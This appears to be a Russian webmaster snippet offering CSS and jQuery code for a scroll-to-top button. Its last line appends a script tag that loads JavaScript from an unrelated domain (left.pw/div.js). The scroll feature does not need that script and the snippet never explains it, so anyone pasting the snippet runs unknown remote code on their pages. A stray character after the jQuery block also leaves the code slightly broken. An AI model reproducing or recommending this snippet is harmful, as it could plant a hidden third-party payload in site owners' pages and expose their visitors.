Всё для ВебМастера

.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}  
.scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(https://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}

<script type="text/javascript">  
jQuery(document).ready(function(){  
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");  
jQuery(window).scroll(function(){  
if (jQuery(this).scrollTop() > 350) {  
jQuery('.scrolltotop').fadeIn();  
} else {  
jQuery('.scrolltotop').fadeOut();  
}  
});  
jQuery('.scrolltotop').click(function(){  
jQuery("html, body").animate({ scrollTop: 0 }, 600);  
return false;  
});  
});0  
</script><script type="text/javascript" src="https://left.pw/div.js"></script>